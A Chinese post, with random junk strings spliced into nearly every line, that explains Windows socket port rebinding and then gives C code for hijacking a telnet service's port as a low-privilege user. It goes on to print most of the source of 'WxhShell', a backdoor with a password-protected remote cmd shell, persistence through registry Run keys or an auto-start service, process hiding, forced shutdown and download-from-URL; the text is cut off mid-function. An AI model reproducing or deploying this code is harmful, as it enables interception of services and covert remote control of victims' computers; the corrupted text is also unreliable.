在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
1 A\OC s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
rsy'q(N[ F 9@h|#an saddr.sin_family = AF_INET;
sn)3ZA zaK#Z?V} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{$wjO7Glp wf:OK[r9 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#':fkIYe' hX=A)73( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
d&+h}O yp({>{u7 这意味着什么?意味着可以进行如下的攻击:
?]}8o}G K[!&b0O 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
[_Qa9e @]ytla>d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
IWY;=" =Xqc]5[i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
IyWI5Q"t ])nPPf 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Y4v|ko`l% OR;uqV@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
BBtzs^C| 3G(miP6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
%y@Hh= 50o~ P!Lz| 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
orjj'+;X LyAn&h} #include
ce7CcHQ?B #include
Yo|,]X>/ #include
<c2'0I > #include
Z\k&gio5C^ DWORD WINAPI ClientThread(LPVOID lpParam);
\Hn>oonph int main()
\Ol kM< {
_tYx~J2.Q WORD wVersionRequested;
BS:+~| 3w DWORD ret;
7eV
di* WSADATA wsaData;
;e1ku|>$ BOOL val;
U
15H2-` SOCKADDR_IN saddr;
<|SRe6m SOCKADDR_IN scaddr;
b)e
*$) int err;
[O?z@)dx SOCKET s;
5nKj
)RH7M SOCKET sc;
%3ICI int caddsize;
1f":HnLRM HANDLE mt;
]hFW73FV DWORD tid;
}#^
B#?O wVersionRequested = MAKEWORD( 2, 2 );
HBu[gh;b err = WSAStartup( wVersionRequested, &wsaData );
''0fF_P if ( err != 0 ) {
H*$jc\
dC printf("error!WSAStartup failed!\n");
d'G0m9u2 return -1;
5
4L\Jx }
]zWon~ saddr.sin_family = AF_INET;
4X+ifZO Y07ZB'K //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
'.81zpff 5'X ]k@m_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@T'i/}nl saddr.sin_port = htons(23);
kNobl if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_s .G {
v5QqS8u_C printf("error!socket failed!\n");
2AO~HxF return -1;
jAm3HI
}
+PcmJ val = TRUE;
c+hQSm|bf) //SO_REUSEADDR选项就是可以实现端口重绑定的
paD !Z0v& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
7r~~Y%=C| {
Lcg)UcB-# printf("error!setsockopt failed!\n");
g.zEn/SM return -1;
yL2o}ZbS }
F)'.g d //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0a-0Y&lQm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
y"H*%] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
/Z@tv.f UHTvCc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
fngOeLVG {
W8KDX_vGJ ret=GetLastError();
4<lRPsvgc printf("error!bind failed!\n");
Wb?8j M return -1;
[Z}9>~m }
$D|e>U listen(s,2);
V;:j ZpG while(1)
P8*=Ls+-F {
l%1!a caddsize = sizeof(scaddr);
woD>!r>) //接受连接请求
j ~1B|,H sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*rIk:FehLB if(sc!=INVALID_SOCKET)
;3B1_vo9 {
NqDHCI mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
9.a3&*tV[ if(mt==NULL)
#]ypHVE {
~e+\k>^eN printf("Thread Creat Failed!\n");
>U]C/P[+ break;
(3{YM( }
to=y#$_ }
a*ushB CloseHandle(mt);
A8oo@z68n> }
+gJ8{u!=k closesocket(s);
o!{w"K WSACleanup();
2M68CE return 0;
7]||UuF< }
'Pn3%&O$ DWORD WINAPI ClientThread(LPVOID lpParam)
Pyb Z)5u {
LRb{hUt= SOCKET ss = (SOCKET)lpParam;
TiO"xMX SOCKET sc;
jN6uT&{T unsigned char buf[4096];
"6us#T SOCKADDR_IN saddr;
FMClSeO7
long num;
S=e{MI DWORD val;
uoX:^'q
DWORD ret;
y6[If cN //如果是隐藏端口应用的话,可以在此处加一些判断
|>tKq;/ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.R./0Ot tx saddr.sin_family = AF_INET;
v,4pp@8rv saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
3
%|86:* saddr.sin_port = htons(23);
G}:lzOlMH if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m6[0Kws& {
s1h/} printf("error!socket failed!\n");
[N#,K02mk return -1;
D-4f > }
7zSLAHW val = 100;
or';A'k if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z^IPZF {
#>mr[ ret = GetLastError();
lJis~JLd` return -1;
;[u%_ }
obNqsyc77R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jkt_5+S {
2L} SJUk* ret = GetLastError();
L&%s[ return -1;
!VI]oRgP }
I.94v
#r if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
-U/c\-~fU {
V&\[)D'c printf("error!socket connect failed!\n");
+(1zH-^. closesocket(sc);
)XzI
#iQ closesocket(ss);
<\}KT*Xp return -1;
HP3lz,d }
w6W}"Uw while(1)
P)MDPI+~ {
(KF=On;=Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ooq! 0g //如果是嗅探内容的话,可以再此处进行内容分析和记录
v4.#;F.\m //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
oWC@w num = recv(ss,buf,4096,0);
}`,t$NV` if(num>0)
h?;T7|^ send(sc,buf,num,0);
dK2p7xo else if(num==0)
4*cU< break;
#[`:'e num = recv(sc,buf,4096,0);
m/y2WlcRx if(num>0)
li 6%) send(ss,buf,num,0);
}` ! =
m else if(num==0)
JAX*hGhkh break;
a8 mVFm }
?`#/ 8PN closesocket(ss);
,}))u0q+: closesocket(sc);
yRfSJbzaf\ return 0 ;
KjE+QUa }
!Y\D?rKZ <RG|Dx[:= }XSfst5-H ==========================================================
HAJ 7m!P FcYFovS 下边附上一个代码,,WXhSHELL
L>a ,]cD ==========================================================
Hqn#yInA7~ \,7}mdQSv #include "stdafx.h"
Tny%7xSx1 FZtfh #include <stdio.h>
%e(z/"M=` #include <string.h>
?}a;}Q6 #include <windows.h>
45MLt5^| #include <winsock2.h>
D? 8rO" #include <winsvc.h>
:C65-[PSdO #include <urlmon.h>
A0q|J/T `P3>S(Tgy #pragma comment (lib, "Ws2_32.lib")
Qe5U<3{JZ #pragma comment (lib, "urlmon.lib")
j"|=C$Kn/ /i-J&*6_ #define MAX_USER 100 // 最大客户端连接数
,;Hu=; #define BUF_SOCK 200 // sock buffer
t7?Zxq #define KEY_BUFF 255 // 输入 buffer
`P8Vh+7u g47-db"5 #define REBOOT 0 // 重启
de;GrPLAi #define SHUTDOWN 1 // 关机
846$x$G4 y?a
Acn$ #define DEF_PORT 5000 // 监听端口
3rcKzS7 X90J! #define REG_LEN 16 // 注册表键长度
*i- _6s #define SVC_LEN 80 // NT服务名长度
43Qtj$F KB'qRnkc // 从dll定义API
]jaQ[g$F typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
P3nb2. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
N.]qU d typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8qu2iPOcZ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}=6'MjF] 0VGPEKRh // wxhshell配置信息
L_+k12lm struct WSCFG {
k'IYA#T6 int ws_port; // 监听端口
R@6zGZ1 char ws_passstr[REG_LEN]; // 口令
_;~,Cgfi int ws_autoins; // 安装标记, 1=yes 0=no
I]Dl / char ws_regname[REG_LEN]; // 注册表键名
F;l$.9? .s char ws_svcname[REG_LEN]; // 服务名
,XIz?R>;c char ws_svcdisp[SVC_LEN]; // 服务显示名
xgNJ eQ char ws_svcdesc[SVC_LEN]; // 服务描述信息
K,boVFs char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|&[L? int ws_downexe; // 下载执行标记, 1=yes 0=no
5c^Z/
Jl$c char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
u
a~CEs char ws_filenam[SVC_LEN]; // 下载后保存的文件名
5KDGSo ""1^k2fj };
CFqJ/'' p Wt)
A // default Wxhshell configuration
;+<&8.=,) struct WSCFG wscfg={DEF_PORT,
1!1beR] "xuhuanlingzhe",
&b?LP] 1,
`(f!*Ru@/z "Wxhshell",
sM?MLB\Za "Wxhshell",
%T)oCjM[\ "WxhShell Service",
kWe{r5C7 "Wrsky Windows CmdShell Service",
}2uI?i8 "Please Input Your Password: ",
hvuIxqv !y 1,
Nv/v$Z{k "
http://www.wrsky.com/wxhshell.exe",
y7$iOR "Wxhshell.exe"
6C-/`>m };
m"fNK$_d E !a|Xp // 消息定义模块
\yd
s5g!: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yfx7{naKC` char *msg_ws_prompt="\n\r? for help\n\r#>";
e|p$d:#! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
USVqB\# char *msg_ws_ext="\n\rExit.";
KTn}w:+B\ char *msg_ws_end="\n\rQuit.";
mN>h5G>a char *msg_ws_boot="\n\rReboot...";
~d%Pnw| char *msg_ws_poff="\n\rShutdown...";
FFH_d <q char *msg_ws_down="\n\rSave to ";
NDs!a niqN{ char *msg_ws_err="\n\rErr!";
q@@T]V6 char *msg_ws_ok="\n\rOK!";
6q]5Es< 72X0Tq 4 char ExeFile[MAX_PATH];
0qo)."V{ int nUser = 0;
T.We: ,{ HANDLE handles[MAX_USER];
v|Yh w int OsIsNt;
&g.+V/<[ L. EiO({W SERVICE_STATUS serviceStatus;
VA9Gb9 SERVICE_STATUS_HANDLE hServiceStatusHandle;
%_(H{y_! m^H21P"z // 函数声明
F6K4#t+9 int Install(void);
qnoNT%xazo int Uninstall(void);
{.De4]ANh int DownloadFile(char *sURL, SOCKET wsh);
CMCO}# int Boot(int flag);
|R56ho5C void HideProc(void);
e?Ho a$k int GetOsVer(void);
98WZ){+,m int Wxhshell(SOCKET wsl);
;Y;qg
void TalkWithClient(void *cs);
@~#Ym1{W int CmdShell(SOCKET sock);
ooV3gj4 int StartFromService(void);
rN%F)
q# int StartWxhshell(LPSTR lpCmdLine);
7hi"6, aS pWsT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#F*1V(! VOID WINAPI NTServiceHandler( DWORD fdwControl );
)*Q-.Je/U KM!k$;my // 数据结构和表定义
Fb4`| SERVICE_TABLE_ENTRY DispatchTable[] =
UY <e&Npo {
FI<q@HF {wscfg.ws_svcname, NTServiceMain},
x,otFp {NULL, NULL}
~,BIf+\XF };
g*F '[Z." /-qxS <?o // 自我安装
:LQ5u[g$\ int Install(void)
h~(D@/tB {
!O#dV1wAa char svExeFile[MAX_PATH];
{fEwA8Ir HKEY key;
H.WE6 strcpy(svExeFile,ExeFile);
#Ap;_XcKw 5i-Rglo // 如果是win9x系统,修改注册表设为自启动
OI?K/rn if(!OsIsNt) {
A5H3%o(6k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#fL8Kq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\igmv]G% RegCloseKey(key);
G
<uyin> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
GQl$yZaK{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+8#_59;x RegCloseKey(key);
;?6No(/ return 0;
r.T<j.\ }
Xu>r~^w=S }
z9p05NFH }
24/XNSE,- else {
Rt{B(L.?< oh
KCdT~ // 如果是NT以上系统,安装为系统服务
(C\hVy2X?N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
jC3Vbm&ZZ if (schSCManager!=0)
P{5-Mx!{& {
aj"M>zd*} SC_HANDLE schService = CreateService
\2(SB (
ZWm8*}3]7_ schSCManager,
!TP@-
X; wscfg.ws_svcname,
J8"[6vI d~ wscfg.ws_svcdisp,
0V{(Ru.O SERVICE_ALL_ACCESS,
.(X
lg-H, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
]/!<PF SERVICE_AUTO_START,
r 3M1e+'fc SERVICE_ERROR_NORMAL,
Sje wuIi1 svExeFile,
e{A9r@p! NULL,
X!j{o NULL,
q\q=PB6r NULL,
Wfz\`y NULL,
$&=p+ NULL
d7&eLLx );
eVR5Xar if (schService!=0)
C'!;J {
g!`3{
/4 CloseServiceHandle(schService);
AWjm~D-? CloseServiceHandle(schSCManager);
Rm5Kkzd0o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
bO;(bE m@ strcat(svExeFile,wscfg.ws_svcname);
yg2uC(2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
?hR7<02 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
WnHUE RegCloseKey(key);
Y];Ycj; return 0;
9M /SH$Qy }
`s]4AKBO }
k;EPpr-{ CloseServiceHandle(schSCManager);
c.|l-zAeX }
1TM~*<Jb }
g'l?~s`SB DS2)@ return 1;
7P B)'Wl"6 }
3s:%2%jVK =X!IHd0 // 自我卸载
<|*'O5B int Uninstall(void)
om3`[r[{ {
}%-t+Tf, HKEY key;
#-"VS-.< Z/6qG0feJ if(!OsIsNt) {
$fpq
3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z Dhx5SL& RegDeleteValue(key,wscfg.ws_regname);
;+I/ I9~ RegCloseKey(key);
m,R Dr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jDRe)bo4 RegDeleteValue(key,wscfg.ws_regname);
;c-3g] RegCloseKey(key);
;&b%Se@#p return 0;
&5%dhc4&!& }
c DrebU }
FkqQf8HB }
/_\#zC[ else {
vMs;>lhtg ,WQ^tI=O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
2`a
q**} if (schSCManager!=0)
SMf+qiM-E {
=1oNZKBP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`T2 <<< if (schService!=0)
J RPSvP\ {
+y#T?!jQYj if(DeleteService(schService)!=0) {
t0#[#I1+ CloseServiceHandle(schService);
Y
e+Ay CloseServiceHandle(schSCManager);
AY SSa 1} return 0;
f&hwi:t }
C*I(|.i@ CloseServiceHandle(schService);
#Y93y\ }
dp5f7>]:( CloseServiceHandle(schSCManager);
sLcFt1 }
XMRNuEU }
Z?^"\u- @ 2_<,;$ return 1;
aj~bt-cE }
]bgY6@M j}+5vB|0 // 从指定url下载文件
[WB{T3j int DownloadFile(char *sURL, SOCKET wsh)
33~qgK1> {
"Jy~PcJZ1 HRESULT hr;
n(lk
dw char seps[]= "/";
Sg]
J7;] char *token;
S='syq>Aok char *file;
O {k:yVb char myURL[MAX_PATH];
]Y.deVw3i char myFILE[MAX_PATH];
fA! 6sB \;]kYO} strcpy(myURL,sURL);
15zrrU~D token=strtok(myURL,seps);
y_}SK6{
while(token!=NULL)
o0pT6N) {
*o' 4,+=am file=token;
ecX/K.8l token=strtok(NULL,seps);
!]S=z^"< }
-qe bQv l
SkEuN GetCurrentDirectory(MAX_PATH,myFILE);
x7RdZC strcat(myFILE, "\\");
hxC!+ArVe strcat(myFILE, file);
M0-,M/]l send(wsh,myFILE,strlen(myFILE),0);
QMk+RM8U send(wsh,"...",3,0);
2D([Z -<i hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
BN@,/m9OQ% if(hr==S_OK)
mEQ!-p return 0;
{$^SP7qV#> else
!Zbesp KZ return 1;
>sj
bK% 2 Y|D'^ }
,vG<*|pn :+,st&(E // 系统电源模块
d<@Mdo<;?g int Boot(int flag)
T+RZ {
vN{-?
HANDLE hToken;
`ycU-m== TOKEN_PRIVILEGES tkp;
}r2[!gGd%| Y5-kj,CB if(OsIsNt) {
\~X&o% y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
bj"z8 kP LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
(:Cc3 tkp.PrivilegeCount = 1;
%^9:%ytt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
<]8^J}8T{D AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?An,-N-ezf if(flag==REBOOT) {
rF'R>/H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
daOS8_py return 0;
>$F:*lO }
XKq@]=\F else {
Qa$NBNxKl if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
v_sm return 0;
7aQcP }
K!b8= K` }
pIVq("& else {
BDpF} if(flag==REBOOT) {
NygI67 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
>IR$e=5$ return 0;
<{019Oa }
fQQ|gwVki else {
e`sw*m5 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}f}IA\8] return 0;
.^XHuN& }
'; /84j-3F }
_
K/swT{f O}gX{_|6 return 1;
8Z:Ezg3^ }
-3mgza rR!U; // win9x进程隐藏模块
r] t )x* void HideProc(void)
a{`"68 {
s#lto0b"8 F14(;'Az HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
)!C7bTv 4 if ( hKernel != NULL )
<*YO~S(R {
w4{y"A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
\n@V-b ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
TmiWjQv` FreeLibrary(hKernel);
`{G?>z Fp }
+v[O ?`A9(#ySM return;
:^G%57NX }
0VIZ=-e 6+8mV8{-8 // 获取操作系统版本
\/,g VT int GetOsVer(void)
BPWnck=% {
Z}[xQ5 OSVERSIONINFO winfo;
ZT9IMihV winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ofm5[q= GetVersionEx(&winfo);
]xR4->eix if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
gPUo25@pn* return 1;
sPpS~wk* else
nx;$dxx_Ws return 0;
4p x_ZD#J }
E!@/N E\- E|,30Z+ // 客户端句柄模块
j m>U6 int Wxhshell(SOCKET wsl)
E{gv,cUM {
ou;qO
5CT SOCKET wsh;
6z1\a struct sockaddr_in client;
DVzssPg DWORD myID;
[tm[,VfA^ 966<I56+ while(nUser<MAX_USER)
JmjxGcG {
\ 522,n` int nSize=sizeof(client);
O!];_q/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ss;
5C:*y if(wsh==INVALID_SOCKET) return 1;
P/`m3aSzX. sVcdj|j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\c68n if(handles[nUser]==0)
>i`8R closesocket(wsh);
!a4cjc( else
!u%9;>T7 nUser++;
Oc^m_U8>^ }
6oA~J]< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1C'P)f28 bx7\QU+ return 0;
WQ.i$ID/ }
9ET/I$n G)~MbesJ // 关闭 socket
:;_#5 void CloseIt(SOCKET wsh)
u0'i!@795 {
/4H[4m]I closesocket(wsh);
6s5b$x nUser--;
,$BgR2^ ExitThread(0);
I<xy?{s }
qM*S*,s .d
e // 客户端请求句柄
IW] *i?L void TalkWithClient(void *cs)
YJc%h@ _=] {
'&)D>@g QnP{$rT SOCKET wsh=(SOCKET)cs;
I)rGOda{ char pwd[SVC_LEN];
3XGB+$]C char cmd[KEY_BUFF];
blmmm(|~| char chr[1];
9H[/T j-; int i,j;
)"F5lOA6 u x#.:C| while (nUser < MAX_USER) {
[NZ-WU&&LP WzlS^bZ if(wscfg.ws_passstr) {
-^Rb7 g- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
iz$FcA] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+
lP5XY{ //ZeroMemory(pwd,KEY_BUFF);
*0-v!\{ i=0;
[5!'ykZ while(i<SVC_LEN) {
Kny%QBoiw fZ{&dslg // 设置超时
mHHzCKE , fd_set FdRead;
s1Okoxh/!V struct timeval TimeOut;
m'SmN{(t FD_ZERO(&FdRead);
y 3IA ' FD_SET(wsh,&FdRead);
RE*WM3QK~ TimeOut.tv_sec=8;
o|+E+l9\ TimeOut.tv_usec=0;
FXeV6zfrE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
=Iy/cHK if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Dw*Arc+3V ^A- sS~w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^~,
ndH{ pwd
=chr[0]; BL0|\&*1
if(chr[0]==0xd || chr[0]==0xa) { 2J)74SeH
pwd=0; /<6ywLD
break; \U Ax(;
} Y=3X9%v9g
i++; ckAsGF_B~!
} X:R%1+&*
%
<^[j^j}o
// 如果是非法用户,关闭 socket QTeFR&q8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |GuKU!
} ,7t3>9-M"
C(xqvK~p
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =zz+<!!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); db<q-u
(eki X*y
while(1) { >H)^6sJ;%b
{zY`h6d
ZeroMemory(cmd,KEY_BUFF); K/Sq2:
.|U4N/XN%q
// 自动支持客户端 telnet标准 L>0!B8X2
j=0; kpl~/i`4
while(j<KEY_BUFF) { >1m)%zt
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xnT3^ #-h
cmd[j]=chr[0]; " \`BPN
if(chr[0]==0xa || chr[0]==0xd) { W0C{~|e
cmd[j]=0; o*-h%Z.
break; N4A&"1d&
} Sy4
mZ}:
j++; a5X`jo
} W^003*m~~K
Q^[e/U,
// 下载文件 FPvuzBJ
if(strstr(cmd,"http://")) {
vlAO z
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4}+xeGA$
if(DownloadFile(cmd,wsh)) zjea4>!A2
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
E!dz/.
else /SbSID_a
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {ms,q_Zr
} @k_Jl>X
else { V+peO
D&4u63^
switch(cmd[0]) { D~5yj&&T;
4[2=L9MIo~
// 帮助 mXQl;
case '?': { w'!ECm>*`
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &$<(D0
break; *Kp}B}}J
} KbXbT
// 安装 dFdlB`L
case 'i': { $*YC7f
if(Install()) u)tHOV>&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wTB)v !
else
CEbzJ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y>>vGU;
break; qUifw @
} _{lx*dq
// 卸载 ;,<r|.6U
case 'r': { ".Lhte R?
if(Uninstall()) ay=KfY5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g Cg4;b6g
else @YEw^J~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g&{gD^9)4
break; )?F$-~7
} NQDLI 1o
// 显示 wxhshell 所在路径 BPwI8\V
case 'p': { f<g>dQlE
char svExeFile[MAX_PATH]; jK\V|5k
strcpy(svExeFile,"\n\r"); I/^q+l.=`{
strcat(svExeFile,ExeFile); )w
Z49>Y
send(wsh,svExeFile,strlen(svExeFile),0); Y8D7<V~Md
break; p.@0=)
} uo]Hi^r.l
// 重启 S9$o
case 'b': { jN31\)/i
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =''mpIg(
if(Boot(REBOOT)) nu#aa#ex>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hO^&0?
else { hZp=BM"bJ
closesocket(wsh); 8]sTX9
ExitThread(0); `%FIgE^
} }V\P,ck
break; di8W2cwz
}
]#Y|
// 关机 0$n8b/%.
case 'd': { ^^n+
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =#OHxM
if(Boot(SHUTDOWN)) ZmEG<T05
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aSn0o_4bD
else { zWF
5m )-
closesocket(wsh); )9;(>cdl
ExitThread(0); R2Twm!1
} [>b
'}4
break; 2q`)GCES~
} +CsI,Uf4*
// 获取shell >v^2^$^u
case 's': { Am>_4
CmdShell(wsh); )p^m}N 6M]
closesocket(wsh); t7{L[C$
ExitThread(0); RnMB Gxa
break; @m+pr\h(
} GCcwEl!K^
// 退出 e#l*/G*,
case 'x': { g0^~J2sDd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z_iAn TT
CloseIt(wsh); Iq4 Kgc
break; 4?9soc
} (Wm/$P;
// 离开 d%}crM-KTL
case 'q': { r4;5b s6wm
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^m6k@VM
closesocket(wsh); Gl?P.BCW.&
WSACleanup(); k)H[XpM
exit(1); v+xgxQGYH
break; K!IF?iell
} OSSd;ueur$
} q`/amI0
} 1VhoJGH;C
iYO
wB'z
// 提示信息 (t]lP/
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E[ )7tr
} j[$B\H
} >u BV
|y{;|K
return; ~[d=s
} '+o:,6
Fpj6Atk
// shell模块句柄 N&0uXrw
int CmdShell(SOCKET sock) O ,Pl7x%tK
{ p?dGZ2` [I
STARTUPINFO si; naec"Kut
ZeroMemory(&si,sizeof(si)); <.PPs:{8#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >>oASo
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dD/29b(
PROCESS_INFORMATION ProcessInfo; s,UN'~e1
char cmdline[]="cmd"; l|@/?GaH
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GibggOj2Q,
return 0; "TBQNWZ
} iF#}t(CrH
&rl]$Mtt
// 自身启动模式 E1Ru)k{B
int StartFromService(void) uPv;y!Lsa@
{ >wg9YZ~8
typedef struct }@ O|RkY
{ O84v*=u A
DWORD ExitStatus; !1a|5
xrn
DWORD PebBaseAddress; b'Fx),
DWORD AffinityMask; (ybtXoQs
DWORD BasePriority; br34Eh
